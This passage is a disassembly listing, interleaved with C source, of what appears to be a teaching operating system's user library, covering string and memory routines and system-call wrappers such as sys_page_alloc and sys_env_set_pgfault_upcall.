return (int) ((unsigned char) *p - (unsigned char) *q);
8009aa: 0f b6 c0 movzbl %al,%eax
8009ad: 0f b6 12 movzbl (%edx),%edx
8009b0: 29 d0 sub %edx,%eax
}
8009b2: 5d pop %ebp
8009b3: c3 ret
008009b4 <strncmp>:
int
strncmp(const char *p, const char *q, size_t n)
{
8009b4: 55 push %ebp
8009b5: 89 e5 mov %esp,%ebp
8009b7: 53 push %ebx
8009b8: 8b 45 08 mov 0x8(%ebp),%eax
8009bb: 8b 55 0c mov 0xc(%ebp),%edx
8009be: 89 c3 mov %eax,%ebx
8009c0: 03 5d 10 add 0x10(%ebp),%ebx
while (n > 0 && *p && *p == *q)
8009c3: eb 06 jmp 8009cb <strncmp+0x17>
n--, p++, q++;
8009c5: 83 c0 01 add $0x1,%eax
8009c8: 83 c2 01 add $0x1,%edx
while (n > 0 && *p && *p == *q)
8009cb: 39 d8 cmp %ebx,%eax
8009cd: 74 16 je 8009e5 <strncmp+0x31>
8009cf: 0f b6 08 movzbl (%eax),%ecx
8009d2: 84 c9 test %cl,%cl
8009d4: 74 04 je 8009da <strncmp+0x26>
8009d6: 3a 0a cmp (%edx),%cl
8009d8: 74 eb je 8009c5 <strncmp+0x11>
if (n == 0)
return 0;
else
return (int) ((unsigned char) *p - (unsigned char) *q);
8009da: 0f b6 00 movzbl (%eax),%eax
8009dd: 0f b6 12 movzbl (%edx),%edx
8009e0: 29 d0 sub %edx,%eax
}
8009e2: 5b pop %ebx
8009e3: 5d pop %ebp
8009e4: c3 ret
return 0;
8009e5: b8 00 00 00 00 mov $0x0,%eax
8009ea: eb f6 jmp 8009e2 <strncmp+0x2e>
008009ec <strchr>:
// Return a pointer to the first occurrence of 'c' in 's',
// or a null pointer if the string has no 'c'.
char *
strchr(const char *s, char c)
{
8009ec: 55 push %ebp
8009ed: 89 e5 mov %esp,%ebp
8009ef: 8b 45 08 mov 0x8(%ebp),%eax
8009f2: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for (; *s; s++)
8009f6: 0f b6 10 movzbl (%eax),%edx
8009f9: 84 d2 test %dl,%dl
8009fb: 74 09 je 800a06 <strchr+0x1a>
if (*s == c)
8009fd: 38 ca cmp %cl,%dl
8009ff: 74 0a je 800a0b <strchr+0x1f>
for (; *s; s++)
800a01: 83 c0 01 add $0x1,%eax
800a04: eb f0 jmp 8009f6 <strchr+0xa>
return (char *) s;
return 0;
800a06: b8 00 00 00 00 mov $0x0,%eax
}
800a0b: 5d pop %ebp
800a0c: c3 ret
00800a0d <strfind>:
// Return a pointer to the first occurrence of 'c' in 's',
// or a pointer to the string-ending null character if the string has no 'c'.
char *
strfind(const char *s, char c)
{
800a0d: 55 push %ebp
800a0e: 89 e5 mov %esp,%ebp
800a10: 8b 45 08 mov 0x8(%ebp),%eax
800a13: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for (; *s; s++)
800a17: eb 03 jmp 800a1c <strfind+0xf>
800a19: 83 c0 01 add $0x1,%eax
800a1c: 0f b6 10 movzbl (%eax),%edx
if (*s == c)
800a1f: 38 ca cmp %cl,%dl
800a21: 74 04 je 800a27 <strfind+0x1a>
800a23: 84 d2 test %dl,%dl
800a25: 75 f2 jne 800a19 <strfind+0xc>
break;
return (char *) s;
}
800a27: 5d pop %ebp
800a28: c3 ret
00800a29 <memset>:
#if ASM
void *
memset(void *v, int c, size_t n)
{
800a29: 55 push %ebp
800a2a: 89 e5 mov %esp,%ebp
800a2c: 57 push %edi
800a2d: 56 push %esi
800a2e: 53 push %ebx
800a2f: 8b 7d 08 mov 0x8(%ebp),%edi
800a32: 8b 4d 10 mov 0x10(%ebp),%ecx
char *p;
if (n == 0)
800a35: 85 c9 test %ecx,%ecx
800a37: 74 13 je 800a4c <memset+0x23>
return v;
if ((int)v%4 == 0 && n%4 == 0) {
800a39: f7 c7 03 00 00 00 test $0x3,%edi
800a3f: 75 05 jne 800a46 <memset+0x1d>
800a41: f6 c1 03 test $0x3,%cl
800a44: 74 0d je 800a53 <memset+0x2a>
c = (c<<24)|(c<<16)|(c<<8)|c;
asm volatile("cld; rep stosl\n"
:: "D" (v), "a" (c), "c" (n/4)
: "cc", "memory");
} else
asm volatile("cld; rep stosb\n"
800a46: 8b 45 0c mov 0xc(%ebp),%eax
800a49: fc cld
800a4a: f3 aa rep stos %al,%es:(%edi)
:: "D" (v), "a" (c), "c" (n)
: "cc", "memory");
return v;
}
800a4c: 89 f8 mov %edi,%eax
800a4e: 5b pop %ebx
800a4f: 5e pop %esi
800a50: 5f pop %edi
800a51: 5d pop %ebp
800a52: c3 ret
c &= 0xFF;
800a53: 0f b6 55 0c movzbl 0xc(%ebp),%edx
c = (c<<24)|(c<<16)|(c<<8)|c;
800a57: 89 d3 mov %edx,%ebx
800a59: c1 e3 08 shl $0x8,%ebx
800a5c: 89 d0 mov %edx,%eax
800a5e: c1 e0 18 shl $0x18,%eax
800a61: 89 d6 mov %edx,%esi
800a63: c1 e6 10 shl $0x10,%esi
800a66: 09 f0 or %esi,%eax
800a68: 09 c2 or %eax,%edx
800a6a: 09 da or %ebx,%edx
:: "D" (v), "a" (c), "c" (n/4)
800a6c: c1 e9 02 shr $0x2,%ecx
asm volatile("cld; rep stosl\n"
800a6f: 89 d0 mov %edx,%eax
800a71: fc cld
800a72: f3 ab rep stos %eax,%es:(%edi)
800a74: eb d6 jmp 800a4c <memset+0x23>
00800a76 <memmove>:
void *
memmove(void *dst, const void *src, size_t n)
{
800a76: 55 push %ebp
800a77: 89 e5 mov %esp,%ebp
800a79: 57 push %edi
800a7a: 56 push %esi
800a7b: 8b 45 08 mov 0x8(%ebp),%eax
800a7e: 8b 75 0c mov 0xc(%ebp),%esi
800a81: 8b 4d 10 mov 0x10(%ebp),%ecx
const char *s;
char *d;
s = src;
d = dst;
if (s < d && s + n > d) {
800a84: 39 c6 cmp %eax,%esi
800a86: 73 35 jae 800abd <memmove+0x47>
800a88: 8d 14 0e lea (%esi,%ecx,1),%edx
800a8b: 39 c2 cmp %eax,%edx
800a8d: 76 2e jbe 800abd <memmove+0x47>
s += n;
d += n;
800a8f: 8d 3c 08 lea (%eax,%ecx,1),%edi
if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0)
800a92: 89 d6 mov %edx,%esi
800a94: 09 fe or %edi,%esi
800a96: f7 c6 03 00 00 00 test $0x3,%esi
800a9c: 74 0c je 800aaa <memmove+0x34>
asm volatile("std; rep movsl\n"
:: "D" (d-4), "S" (s-4), "c" (n/4) : "cc", "memory");
else
asm volatile("std; rep movsb\n"
:: "D" (d-1), "S" (s-1), "c" (n) : "cc", "memory");
800a9e: 83 ef 01 sub $0x1,%edi
800aa1: 8d 72 ff lea -0x1(%edx),%esi
asm volatile("std; rep movsb\n"
800aa4: fd std
800aa5: f3 a4 rep movsb %ds:(%esi),%es:(%edi)
// Some versions of GCC rely on DF being clear
asm volatile("cld" ::: "cc");
800aa7: fc cld
800aa8: eb 21 jmp 800acb <memmove+0x55>
if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0)
800aaa: f6 c1 03 test $0x3,%cl
800aad: 75 ef jne 800a9e <memmove+0x28>
:: "D" (d-4), "S" (s-4), "c" (n/4) : "cc", "memory");
800aaf: 83 ef 04 sub $0x4,%edi
800ab2: 8d 72 fc lea -0x4(%edx),%esi
800ab5: c1 e9 02 shr $0x2,%ecx
asm volatile("std; rep movsl\n"
800ab8: fd std
800ab9: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
800abb: eb ea jmp 800aa7 <memmove+0x31>
} else {
if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0)
800abd: 89 f2 mov %esi,%edx
800abf: 09 c2 or %eax,%edx
800ac1: f6 c2 03 test $0x3,%dl
800ac4: 74 09 je 800acf <memmove+0x59>
asm volatile("cld; rep movsl\n"
:: "D" (d), "S" (s), "c" (n/4) : "cc", "memory");
else
asm volatile("cld; rep movsb\n"
800ac6: 89 c7 mov %eax,%edi
800ac8: fc cld
800ac9: f3 a4 rep movsb %ds:(%esi),%es:(%edi)
:: "D" (d), "S" (s), "c" (n) : "cc", "memory");
}
return dst;
}
800acb: 5e pop %esi
800acc: 5f pop %edi
800acd: 5d pop %ebp
800ace: c3 ret
if ((int)s%4 == 0 && (int)d%4 == 0 && n%4 == 0)
800acf: f6 c1 03 test $0x3,%cl
800ad2: 75 f2 jne 800ac6 <memmove+0x50>
:: "D" (d), "S" (s), "c" (n/4) : "cc", "memory");
800ad4: c1 e9 02 shr $0x2,%ecx
asm volatile("cld; rep movsl\n"
800ad7: 89 c7 mov %eax,%edi
800ad9: fc cld
800ada: f3 a5 rep movsl %ds:(%esi),%es:(%edi)
800adc: eb ed jmp 800acb <memmove+0x55>
00800ade <memcpy>:
}
#endif
void *
memcpy(void *dst, const void *src, size_t n)
{
800ade: 55 push %ebp
800adf: 89 e5 mov %esp,%ebp
return memmove(dst, src, n);
800ae1: ff 75 10 pushl 0x10(%ebp)
800ae4: ff 75 0c pushl 0xc(%ebp)
800ae7: ff 75 08 pushl 0x8(%ebp)
800aea: e8 87 ff ff ff call 800a76 <memmove>
}
800aef: c9 leave
800af0: c3 ret
00800af1 <memcmp>:
int
memcmp(const void *v1, const void *v2, size_t n)
{
800af1: 55 push %ebp
800af2: 89 e5 mov %esp,%ebp
800af4: 56 push %esi
800af5: 53 push %ebx
800af6: 8b 45 08 mov 0x8(%ebp),%eax
800af9: 8b 55 0c mov 0xc(%ebp),%edx
800afc: 89 c6 mov %eax,%esi
800afe: 03 75 10 add 0x10(%ebp),%esi
const uint8_t *s1 = (const uint8_t *) v1;
const uint8_t *s2 = (const uint8_t *) v2;
while (n-- > 0) {
800b01: 39 f0 cmp %esi,%eax
800b03: 74 1c je 800b21 <memcmp+0x30>
if (*s1 != *s2)
800b05: 0f b6 08 movzbl (%eax),%ecx
800b08: 0f b6 1a movzbl (%edx),%ebx
800b0b: 38 d9 cmp %bl,%cl
800b0d: 75 08 jne 800b17 <memcmp+0x26>
return (int) *s1 - (int) *s2;
s1++, s2++;
800b0f: 83 c0 01 add $0x1,%eax
800b12: 83 c2 01 add $0x1,%edx
800b15: eb ea jmp 800b01 <memcmp+0x10>
return (int) *s1 - (int) *s2;
800b17: 0f b6 c1 movzbl %cl,%eax
800b1a: 0f b6 db movzbl %bl,%ebx
800b1d: 29 d8 sub %ebx,%eax
800b1f: eb 05 jmp 800b26 <memcmp+0x35>
}
return 0;
800b21: b8 00 00 00 00 mov $0x0,%eax
}
800b26: 5b pop %ebx
800b27: 5e pop %esi
800b28: 5d pop %ebp
800b29: c3 ret
00800b2a <memfind>:
void *
memfind(const void *s, int c, size_t n)
{
800b2a: 55 push %ebp
800b2b: 89 e5 mov %esp,%ebp
800b2d: 8b 45 08 mov 0x8(%ebp),%eax
800b30: 8b 4d 0c mov 0xc(%ebp),%ecx
const void *ends = (const char *) s + n;
800b33: 89 c2 mov %eax,%edx
800b35: 03 55 10 add 0x10(%ebp),%edx
for (; s < ends; s++)
800b38: 39 d0 cmp %edx,%eax
800b3a: 73 09 jae 800b45 <memfind+0x1b>
if (*(const unsigned char *) s == (unsigned char) c)
800b3c: 38 08 cmp %cl,(%eax)
800b3e: 74 05 je 800b45 <memfind+0x1b>
for (; s < ends; s++)
800b40: 83 c0 01 add $0x1,%eax
800b43: eb f3 jmp 800b38 <memfind+0xe>
break;
return (void *) s;
}
800b45: 5d pop %ebp
800b46: c3 ret
00800b47 <strtol>:
long
strtol(const char *s, char **endptr, int base)
{
800b47: 55 push %ebp
800b48: 89 e5 mov %esp,%ebp
800b4a: 57 push %edi
800b4b: 56 push %esi
800b4c: 53 push %ebx
800b4d: 8b 4d 08 mov 0x8(%ebp),%ecx
800b50: 8b 5d 10 mov 0x10(%ebp),%ebx
int neg = 0;
long val = 0;
// gobble initial whitespace
while (*s == ' ' || *s == '\t')
800b53: eb 03 jmp 800b58 <strtol+0x11>
s++;
800b55: 83 c1 01 add $0x1,%ecx
while (*s == ' ' || *s == '\t')
800b58: 0f b6 01 movzbl (%ecx),%eax
800b5b: 3c 20 cmp $0x20,%al
800b5d: 74 f6 je 800b55 <strtol+0xe>
800b5f: 3c 09 cmp $0x9,%al
800b61: 74 f2 je 800b55 <strtol+0xe>
// plus/minus sign
if (*s == '+')
800b63: 3c 2b cmp $0x2b,%al
800b65: 74 2e je 800b95 <strtol+0x4e>
int neg = 0;
800b67: bf 00 00 00 00 mov $0x0,%edi
s++;
else if (*s == '-')
800b6c: 3c 2d cmp $0x2d,%al
800b6e: 74 2f je 800b9f <strtol+0x58>
s++, neg = 1;
// hex or octal base prefix
if ((base == 0 || base == 16) && (s[0] == '0' && s[1] == 'x'))
800b70: f7 c3 ef ff ff ff test $0xffffffef,%ebx
800b76: 75 05 jne 800b7d <strtol+0x36>
800b78: 80 39 30 cmpb $0x30,(%ecx)
800b7b: 74 2c je 800ba9 <strtol+0x62>
s += 2, base = 16;
else if (base == 0 && s[0] == '0')
800b7d: 85 db test %ebx,%ebx
800b7f: 75 0a jne 800b8b <strtol+0x44>
s++, base = 8;
else if (base == 0)
base = 10;
800b81: bb 0a 00 00 00 mov $0xa,%ebx
else if (base == 0 && s[0] == '0')
800b86: 80 39 30 cmpb $0x30,(%ecx)
800b89: 74 28 je 800bb3 <strtol+0x6c>
base = 10;
800b8b: b8 00 00 00 00 mov $0x0,%eax
800b90: 89 5d 10 mov %ebx,0x10(%ebp)
800b93: eb 50 jmp 800be5 <strtol+0x9e>
s++;
800b95: 83 c1 01 add $0x1,%ecx
int neg = 0;
800b98: bf 00 00 00 00 mov $0x0,%edi
800b9d: eb d1 jmp 800b70 <strtol+0x29>
s++, neg = 1;
800b9f: 83 c1 01 add $0x1,%ecx
800ba2: bf 01 00 00 00 mov $0x1,%edi
800ba7: eb c7 jmp 800b70 <strtol+0x29>
if ((base == 0 || base == 16) && (s[0] == '0' && s[1] == 'x'))
800ba9: 80 79 01 78 cmpb $0x78,0x1(%ecx)
800bad: 74 0e je 800bbd <strtol+0x76>
else if (base == 0 && s[0] == '0')
800baf: 85 db test %ebx,%ebx
800bb1: 75 d8 jne 800b8b <strtol+0x44>
s++, base = 8;
800bb3: 83 c1 01 add $0x1,%ecx
800bb6: bb 08 00 00 00 mov $0x8,%ebx
800bbb: eb ce jmp 800b8b <strtol+0x44>
s += 2, base = 16;
800bbd: 83 c1 02 add $0x2,%ecx
800bc0: bb 10 00 00 00 mov $0x10,%ebx
800bc5: eb c4 jmp 800b8b <strtol+0x44>
while (1) {
int dig;
if (*s >= '0' && *s <= '9')
dig = *s - '0';
else if (*s >= 'a' && *s <= 'z')
800bc7: 8d 72 9f lea -0x61(%edx),%esi
800bca: 89 f3 mov %esi,%ebx
800bcc: 80 fb 19 cmp $0x19,%bl
800bcf: 77 29 ja 800bfa <strtol+0xb3>
dig = *s - 'a' + 10;
800bd1: 0f be d2 movsbl %dl,%edx
800bd4: 83 ea 57 sub $0x57,%edx
else if (*s >= 'A' && *s <= 'Z')
dig = *s - 'A' + 10;
else
break;
if (dig >= base)
800bd7: 3b 55 10 cmp 0x10(%ebp),%edx
800bda: 7d 30 jge 800c0c <strtol+0xc5>
break;
s++, val = (val * base) + dig;
800bdc: 83 c1 01 add $0x1,%ecx
800bdf: 0f af 45 10 imul 0x10(%ebp),%eax
800be3: 01 d0 add %edx,%eax
if (*s >= '0' && *s <= '9')
800be5: 0f b6 11 movzbl (%ecx),%edx
800be8: 8d 72 d0 lea -0x30(%edx),%esi
800beb: 89 f3 mov %esi,%ebx
800bed: 80 fb 09 cmp $0x9,%bl
800bf0: 77 d5 ja 800bc7 <strtol+0x80>
dig = *s - '0';
800bf2: 0f be d2 movsbl %dl,%edx
800bf5: 83 ea 30 sub $0x30,%edx
800bf8: eb dd jmp 800bd7 <strtol+0x90>
else if (*s >= 'A' && *s <= 'Z')
800bfa: 8d 72 bf lea -0x41(%edx),%esi
800bfd: 89 f3 mov %esi,%ebx
800bff: 80 fb 19 cmp $0x19,%bl
800c02: 77 08 ja 800c0c <strtol+0xc5>
dig = *s - 'A' + 10;
800c04: 0f be d2 movsbl %dl,%edx
800c07: 83 ea 37 sub $0x37,%edx
800c0a: eb cb jmp 800bd7 <strtol+0x90>
// we don't properly detect overflow!
}
if (endptr)
800c0c: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
800c10: 74 05 je 800c17 <strtol+0xd0>
*endptr = (char *) s;
800c12: 8b 75 0c mov 0xc(%ebp),%esi
800c15: 89 0e mov %ecx,(%esi)
return (neg ? -val : val);
800c17: 89 c2 mov %eax,%edx
800c19: f7 da neg %edx
800c1b: 85 ff test %edi,%edi
800c1d: 0f 45 c2 cmovne %edx,%eax
}
800c20: 5b pop %ebx
800c21: 5e pop %esi
800c22: 5f pop %edi
800c23: 5d pop %ebp
800c24: c3 ret
00800c25 <sys_cputs>:
return ret;
}
void
sys_cputs(const char *s, size_t len)
{
800c25: 55 push %ebp
800c26: 89 e5 mov %esp,%ebp
800c28: 57 push %edi
800c29: 56 push %esi
800c2a: 53 push %ebx
asm volatile("int %1\n" //执行int T_SYSCALL指令
800c2b: b8 00 00 00 00 mov $0x0,%eax
800c30: 8b 55 08 mov 0x8(%ebp),%edx
800c33: 8b 4d 0c mov 0xc(%ebp),%ecx
800c36: 89 c3 mov %eax,%ebx
800c38: 89 c7 mov %eax,%edi
800c3a: 89 c6 mov %eax,%esi
800c3c: cd 30 int $0x30
syscall(SYS_cputs, 0, (uint32_t)s, len, 0, 0, 0);
}
800c3e: 5b pop %ebx
800c3f: 5e pop %esi
800c40: 5f pop %edi
800c41: 5d pop %ebp
800c42: c3 ret
00800c43 <sys_cgetc>:
int
sys_cgetc(void)
{
800c43: 55 push %ebp
800c44: 89 e5 mov %esp,%ebp
800c46: 57 push %edi
800c47: 56 push %esi
800c48: 53 push %ebx
asm volatile("int %1\n" //执行int T_SYSCALL指令
800c49: ba 00 00 00 00 mov $0x0,%edx
800c4e: b8 01 00 00 00 mov $0x1,%eax
800c53: 89 d1 mov %edx,%ecx
800c55: 89 d3 mov %edx,%ebx
800c57: 89 d7 mov %edx,%edi
800c59: 89 d6 mov %edx,%esi
800c5b: cd 30 int $0x30
return syscall(SYS_cgetc, 0, 0, 0, 0, 0, 0);
}
800c5d: 5b pop %ebx
800c5e: 5e pop %esi
800c5f: 5f pop %edi
800c60: 5d pop %ebp
800c61: c3 ret
00800c62 <sys_env_destroy>:
int
sys_env_destroy(envid_t envid)
{
800c62: 55 push %ebp
800c63: 89 e5 mov %esp,%ebp
800c65: 57 push %edi
800c66: 56 push %esi
800c67: 53 push %ebx
800c68: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800c6b: b9 00 00 00 00 mov $0x0,%ecx
800c70: 8b 55 08 mov 0x8(%ebp),%edx
800c73: b8 03 00 00 00 mov $0x3,%eax
800c78: 89 cb mov %ecx,%ebx
800c7a: 89 cf mov %ecx,%edi
800c7c: 89 ce mov %ecx,%esi
800c7e: cd 30 int $0x30
if(check && ret > 0)
800c80: 85 c0 test %eax,%eax
800c82: 7f 08 jg 800c8c <sys_env_destroy+0x2a>
return syscall(SYS_env_destroy, 1, envid, 0, 0, 0, 0);
}
800c84: 8d 65 f4 lea -0xc(%ebp),%esp
800c87: 5b pop %ebx
800c88: 5e pop %esi
800c89: 5f pop %edi
800c8a: 5d pop %ebp
800c8b: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800c8c: 83 ec 0c sub $0xc,%esp
800c8f: 50 push %eax
800c90: 6a 03 push $0x3
800c92: 68 1f 2c 80 00 push $0x802c1f
800c97: 6a 23 push $0x23
800c99: 68 3c 2c 80 00 push $0x802c3c
800c9e: e8 4b f5 ff ff call 8001ee <_panic>
00800ca3 <sys_getenvid>:
envid_t
sys_getenvid(void)
{
800ca3: 55 push %ebp
800ca4: 89 e5 mov %esp,%ebp
800ca6: 57 push %edi
800ca7: 56 push %esi
800ca8: 53 push %ebx
asm volatile("int %1\n" //执行int T_SYSCALL指令
800ca9: ba 00 00 00 00 mov $0x0,%edx
800cae: b8 02 00 00 00 mov $0x2,%eax
800cb3: 89 d1 mov %edx,%ecx
800cb5: 89 d3 mov %edx,%ebx
800cb7: 89 d7 mov %edx,%edi
800cb9: 89 d6 mov %edx,%esi
800cbb: cd 30 int $0x30
return syscall(SYS_getenvid, 0, 0, 0, 0, 0, 0);
}
800cbd: 5b pop %ebx
800cbe: 5e pop %esi
800cbf: 5f pop %edi
800cc0: 5d pop %ebp
800cc1: c3 ret
00800cc2 <sys_yield>:
void
sys_yield(void)
{
800cc2: 55 push %ebp
800cc3: 89 e5 mov %esp,%ebp
800cc5: 57 push %edi
800cc6: 56 push %esi
800cc7: 53 push %ebx
asm volatile("int %1\n" //执行int T_SYSCALL指令
800cc8: ba 00 00 00 00 mov $0x0,%edx
800ccd: b8 0b 00 00 00 mov $0xb,%eax
800cd2: 89 d1 mov %edx,%ecx
800cd4: 89 d3 mov %edx,%ebx
800cd6: 89 d7 mov %edx,%edi
800cd8: 89 d6 mov %edx,%esi
800cda: cd 30 int $0x30
syscall(SYS_yield, 0, 0, 0, 0, 0, 0);
}
800cdc: 5b pop %ebx
800cdd: 5e pop %esi
800cde: 5f pop %edi
800cdf: 5d pop %ebp
800ce0: c3 ret
00800ce1 <sys_page_alloc>:
int
sys_page_alloc(envid_t envid, void *va, int perm)
{
800ce1: 55 push %ebp
800ce2: 89 e5 mov %esp,%ebp
800ce4: 57 push %edi
800ce5: 56 push %esi
800ce6: 53 push %ebx
800ce7: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800cea: be 00 00 00 00 mov $0x0,%esi
800cef: 8b 55 08 mov 0x8(%ebp),%edx
800cf2: 8b 4d 0c mov 0xc(%ebp),%ecx
800cf5: b8 04 00 00 00 mov $0x4,%eax
800cfa: 8b 5d 10 mov 0x10(%ebp),%ebx
800cfd: 89 f7 mov %esi,%edi
800cff: cd 30 int $0x30
if(check && ret > 0)
800d01: 85 c0 test %eax,%eax
800d03: 7f 08 jg 800d0d <sys_page_alloc+0x2c>
return syscall(SYS_page_alloc, 1, envid, (uint32_t) va, perm, 0, 0);
}
800d05: 8d 65 f4 lea -0xc(%ebp),%esp
800d08: 5b pop %ebx
800d09: 5e pop %esi
800d0a: 5f pop %edi
800d0b: 5d pop %ebp
800d0c: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800d0d: 83 ec 0c sub $0xc,%esp
800d10: 50 push %eax
800d11: 6a 04 push $0x4
800d13: 68 1f 2c 80 00 push $0x802c1f
800d18: 6a 23 push $0x23
800d1a: 68 3c 2c 80 00 push $0x802c3c
800d1f: e8 ca f4 ff ff call 8001ee <_panic>
00800d24 <sys_page_map>:
int
sys_page_map(envid_t srcenv, void *srcva, envid_t dstenv, void *dstva, int perm)
{
800d24: 55 push %ebp
800d25: 89 e5 mov %esp,%ebp
800d27: 57 push %edi
800d28: 56 push %esi
800d29: 53 push %ebx
800d2a: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800d2d: 8b 55 08 mov 0x8(%ebp),%edx
800d30: 8b 4d 0c mov 0xc(%ebp),%ecx
800d33: b8 05 00 00 00 mov $0x5,%eax
800d38: 8b 5d 10 mov 0x10(%ebp),%ebx
800d3b: 8b 7d 14 mov 0x14(%ebp),%edi
800d3e: 8b 75 18 mov 0x18(%ebp),%esi
800d41: cd 30 int $0x30
if(check && ret > 0)
800d43: 85 c0 test %eax,%eax
800d45: 7f 08 jg 800d4f <sys_page_map+0x2b>
return syscall(SYS_page_map, 1, srcenv, (uint32_t) srcva, dstenv, (uint32_t) dstva, perm);
}
800d47: 8d 65 f4 lea -0xc(%ebp),%esp
800d4a: 5b pop %ebx
800d4b: 5e pop %esi
800d4c: 5f pop %edi
800d4d: 5d pop %ebp
800d4e: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800d4f: 83 ec 0c sub $0xc,%esp
800d52: 50 push %eax
800d53: 6a 05 push $0x5
800d55: 68 1f 2c 80 00 push $0x802c1f
800d5a: 6a 23 push $0x23
800d5c: 68 3c 2c 80 00 push $0x802c3c
800d61: e8 88 f4 ff ff call 8001ee <_panic>
00800d66 <sys_page_unmap>:
int
sys_page_unmap(envid_t envid, void *va)
{
800d66: 55 push %ebp
800d67: 89 e5 mov %esp,%ebp
800d69: 57 push %edi
800d6a: 56 push %esi
800d6b: 53 push %ebx
800d6c: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800d6f: bb 00 00 00 00 mov $0x0,%ebx
800d74: 8b 55 08 mov 0x8(%ebp),%edx
800d77: 8b 4d 0c mov 0xc(%ebp),%ecx
800d7a: b8 06 00 00 00 mov $0x6,%eax
800d7f: 89 df mov %ebx,%edi
800d81: 89 de mov %ebx,%esi
800d83: cd 30 int $0x30
if(check && ret > 0)
800d85: 85 c0 test %eax,%eax
800d87: 7f 08 jg 800d91 <sys_page_unmap+0x2b>
return syscall(SYS_page_unmap, 1, envid, (uint32_t) va, 0, 0, 0);
}
800d89: 8d 65 f4 lea -0xc(%ebp),%esp
800d8c: 5b pop %ebx
800d8d: 5e pop %esi
800d8e: 5f pop %edi
800d8f: 5d pop %ebp
800d90: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800d91: 83 ec 0c sub $0xc,%esp
800d94: 50 push %eax
800d95: 6a 06 push $0x6
800d97: 68 1f 2c 80 00 push $0x802c1f
800d9c: 6a 23 push $0x23
800d9e: 68 3c 2c 80 00 push $0x802c3c
800da3: e8 46 f4 ff ff call 8001ee <_panic>
00800da8 <sys_env_set_status>:
// sys_exofork is inlined in lib.h
int
sys_env_set_status(envid_t envid, int status)
{
800da8: 55 push %ebp
800da9: 89 e5 mov %esp,%ebp
800dab: 57 push %edi
800dac: 56 push %esi
800dad: 53 push %ebx
800dae: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800db1: bb 00 00 00 00 mov $0x0,%ebx
800db6: 8b 55 08 mov 0x8(%ebp),%edx
800db9: 8b 4d 0c mov 0xc(%ebp),%ecx
800dbc: b8 08 00 00 00 mov $0x8,%eax
800dc1: 89 df mov %ebx,%edi
800dc3: 89 de mov %ebx,%esi
800dc5: cd 30 int $0x30
if(check && ret > 0)
800dc7: 85 c0 test %eax,%eax
800dc9: 7f 08 jg 800dd3 <sys_env_set_status+0x2b>
return syscall(SYS_env_set_status, 1, envid, status, 0, 0, 0);
}
800dcb: 8d 65 f4 lea -0xc(%ebp),%esp
800dce: 5b pop %ebx
800dcf: 5e pop %esi
800dd0: 5f pop %edi
800dd1: 5d pop %ebp
800dd2: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800dd3: 83 ec 0c sub $0xc,%esp
800dd6: 50 push %eax
800dd7: 6a 08 push $0x8
800dd9: 68 1f 2c 80 00 push $0x802c1f
800dde: 6a 23 push $0x23
800de0: 68 3c 2c 80 00 push $0x802c3c
800de5: e8 04 f4 ff ff call 8001ee <_panic>
00800dea <sys_env_set_trapframe>:
int
sys_env_set_trapframe(envid_t envid, struct Trapframe *tf)
{
800dea: 55 push %ebp
800deb: 89 e5 mov %esp,%ebp
800ded: 57 push %edi
800dee: 56 push %esi
800def: 53 push %ebx
800df0: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800df3: bb 00 00 00 00 mov $0x0,%ebx
800df8: 8b 55 08 mov 0x8(%ebp),%edx
800dfb: 8b 4d 0c mov 0xc(%ebp),%ecx
800dfe: b8 09 00 00 00 mov $0x9,%eax
800e03: 89 df mov %ebx,%edi
800e05: 89 de mov %ebx,%esi
800e07: cd 30 int $0x30
if(check && ret > 0)
800e09: 85 c0 test %eax,%eax
800e0b: 7f 08 jg 800e15 <sys_env_set_trapframe+0x2b>
return syscall(SYS_env_set_trapframe, 1, envid, (uint32_t) tf, 0, 0, 0);
}
800e0d: 8d 65 f4 lea -0xc(%ebp),%esp
800e10: 5b pop %ebx
800e11: 5e pop %esi
800e12: 5f pop %edi
800e13: 5d pop %ebp
800e14: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
800e15: 83 ec 0c sub $0xc,%esp
800e18: 50 push %eax
800e19: 6a 09 push $0x9
800e1b: 68 1f 2c 80 00 push $0x802c1f
800e20: 6a 23 push $0x23
800e22: 68 3c 2c 80 00 push $0x802c3c
800e27: e8 c2 f3 ff ff call 8001ee <_panic>
00800e2c <sys_env_set_pgfault_upcall>:
int
sys_env_set_pgfault_upcall(envid_t envid, void *upcall)
{
800e2c: 55 push %ebp
800e2d: 89 e5 mov %esp,%ebp
800e2f: 57 push %edi
800e30: 56 push %esi
800e31: 53 push %ebx
800e32: 83 ec 0c sub $0xc,%esp
asm volatile("int %1\n" //执行int T_SYSCALL指令
800e35: bb 00 00 00 00 mov $0x0,%ebx
800e3a: 8b 55 08 mov 0x8(%ebp),%edx
800e3d: 8b 4d 0c mov 0xc(%ebp),%ecx
800e40: b8 0a 00 00 00 mov $0xa,%eax
800e45: 89 df mov %ebx,%edi
800e47: 89 de mov %ebx,%esi
800e49: cd 30 int $0x30
if(check && ret > 0)
800e4b: 85 c0 test %eax,%eax
800e4d: 7f 08 jg 800e57 <sys_env_set_pgfault_upcall+0x2b>
return syscall(SYS_env_set_pgfault_upcall, 1, envid, (uint32_t) upcall, 0, 0, 0);
}
800e4f: 8d 65 f4 lea -0xc(%ebp),%esp
800e52: 5b pop %ebx
800e53: 5e pop %esi
800e54: 5f pop %edi
800e55: 5d pop %ebp
800e56: c3 ret
panic("syscall %d returned %d (> 0)", num, ret);
